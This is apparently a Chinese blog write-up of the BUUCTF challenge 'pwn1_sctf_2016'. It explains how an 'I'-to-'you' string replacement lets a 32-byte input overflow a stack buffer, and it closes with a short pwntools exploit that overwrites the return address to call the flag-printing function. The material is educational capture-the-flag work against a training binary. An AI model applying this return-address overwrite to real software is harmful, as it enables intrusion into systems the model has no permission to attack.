[BUUCTF]PWN4——pwn1_sctf_2016

[BUUCTF]PWN4——pwn1_sctf_2016

题目网址:https://buuoj.cn/challenges#pwn1_sctf_2016

步骤:
例行检查,32位,开启nx(堆栈不可执行)保护,就是说我们没法往堆栈上写东西
在这里插入图片描述
nc一下看看输入点的字符串
在这里插入图片描述
用32位ida打开附件,shift+f12查看一下程序里的字符串,看到了比较敏感的“cat flag.txt”
在这里插入图片描述
双击跟进,ctrl+x查看哪个函数调用了这个字符串,找到函数后按f5将其反编译成我们熟悉的伪代码
在这里插入图片描述
看到这个函数的作用就是输出flag.txt里的内容,记一下地址 flag_addr=0x8048F0D
在这里插入图片描述

回到我们查看字符串的窗口,根据nc时看到的字符串找到输入点
可以看到第12行的fgets是我们的输入点,但是它只读入了32(=0x20)长度的数据,小于0x3c,没有办法造成溢出,但是呢这个程序有点意思的地方就在于回将一个字节的“I”替换成三个字节的“you”
那么思路来了,我们输入20字节的 “I” ,经过第19行的replace函数后会变成60字节的 “you” ,这样就可以进行溢出了,之后覆盖ebp,覆盖返回地址为输出flag的函数地址,就可以完成利用
(14~26行的代码是c++的语法,不是很清楚的,可以去网上查一下这几个的用法,注释处是我的理解)

exp:

from pwn import*

r=remote("node3.buuoj.cn",27491)
flag_addr=0x8048f0d
payload='I'*20+'aaaa'+p32(flag_addr)
r.sendline(payload)

r.interactive()

在这里插入图片描述

  • 9
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值